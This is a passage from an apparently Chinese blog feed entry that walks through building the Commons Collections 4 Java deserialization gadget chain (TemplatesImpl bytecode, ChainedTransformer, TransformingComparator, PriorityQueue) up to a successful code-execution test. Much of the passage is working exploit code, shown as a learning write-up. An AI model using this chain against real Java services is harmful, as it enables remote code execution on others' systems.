class="line"> nameField.setAccessible(<span class="literal">true</span>); </span><br><span class="line"> nameField.set(templates,<span class="string">"aaaa"</span>); </span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"> <span class="type">Field</span> <span class="variable">bytecodeField</span> <span class="operator">=</span> templatesClazz.getDeclaredField(<span class="string">"_bytecodes"</span>); </span><br><span class="line"> bytecodeField.setAccessible(<span class="literal">true</span>); </span><br><span class="line"> <span class="type">byte</span>[] code = Files.readAllBytes(Paths.get(<span class="string">"D:\\codefile\\java\\out\\Test.class"</span>)); </span><br><span class="line"> <span class="type">byte</span>[][] codes = {code}; </span><br><span class="line"> bytecodeField.set(templates,codes); </span><br><span class="line"> </span><br><span class="line"><span class="comment">// InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}); </span></span><br><span class="line"> Transformer[] transformers = <span class="keyword">new</span> <span class="title class_">Transformer</span>[]{ </span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">ConstantTransformer</span>(TrAXFilter.class), </span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">InstantiateTransformer</span>(<span class="keyword">new</span> <span class="title class_">Class</span>[]{Templates.class},<span class="keyword">new</span> <span class="title class_">Object</span>[]{templates}) </span><br><span class="line"> }; </span><br><span class="line"> </span><br><span class="line"> <span class="type">ChainedTransformer</span> <span class="variable">chainedTransformer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ChainedTransformer</span>(transformers);</span><br></pre></td></tr></table></figure><p>前面一样的就直接贴过来了，不再说原理了，拿这里举例子，如果我们现在就想让它代码执行，只需要调用ChainedTransform的transform方法，那么我们开始继续向上<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240206185124.png" alt="image.png" loading="lazy"><br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240206185145.png" alt="image.png" loading="lazy"><br>现在就应该很清楚怎么做了<br>我们接下来的逻辑应该是这样</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">TransformingComparator</span> <span class="variable">transformingComparator</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TransformingComparator</span>(chainedTransformer); </span><br><span class="line"> </span><br><span class="line"><span class="type">PriorityQueue</span> <span class="variable">priorityQueue</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">PriorityQueue</span>(transformingComparator);</span><br></pre></td></tr></table></figure><p>我们进行序列化和反序列化，发现并没有弹出计算器，所以我们看看缺了什么<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240206190635.png" alt="image.png" loading="lazy"><br>我们发现它进入heapify方法后没有进这个siftdown，所以我们的size是有问题的<br>我们看看有什么方法可以增加size，很简单，里面有一个add函数，我们调用它就可以增加长度<br>但是当我们add之后发现报错了<br>我们跟进去发现它也调用了compare方法<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240206191049.png" alt="image.png" loading="lazy"><br>那它就直接会走错路，类似之前的情况，直接执行，没有走反序列化这条路<br>那怎么办，我们就像上次C6的时候，先给它赋值为不能直接执行的一个类，然后在走完add之后在给它加进去，就像这样<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240206191411.png" alt="image.png" loading="lazy"><br>我们这里的代码如下</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">Class</span> <span class="variable">transformingComparatorclazz</span> <span class="operator">=</span> transformingComparator.getClass(); </span><br><span class="line"><span class="type">Field</span> <span class="variable">transformerField</span> <span class="operator">=</span> transformingComparatorclazz.getDeclaredField(<span class="string">"transformer"</span>); </span><br><span class="line">transformerField.setAccessible(<span class="literal">true</span>); </span><br><span class="line">transformerField.set(transformingComparator,chainedTransformer); </span><br><span class="line"> </span><br><span class="line">serialize(priorityQueue); </span><br><span class="line">unserialize(<span class="string">"ser.bin"</span>);</span><br></pre></td></tr></table></figure><p><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240206191930.png" alt="image.png" loading="lazy"><br>成功！</p>]]></content>
<summary type="html"><p>呜呜呜maven构建的好快，我猫猫都没看完</p>
<p>CC4了喵，加油喵<br>
直接看yso的吧<br>
PriorityQueue.readObjet-&gt;TransformingComparator.compare-&gt;CC3.InstantiateTra</summary>
<category term="Java" scheme="http://fault123.github.io/tags/Java/"/>
</entry>
</feed>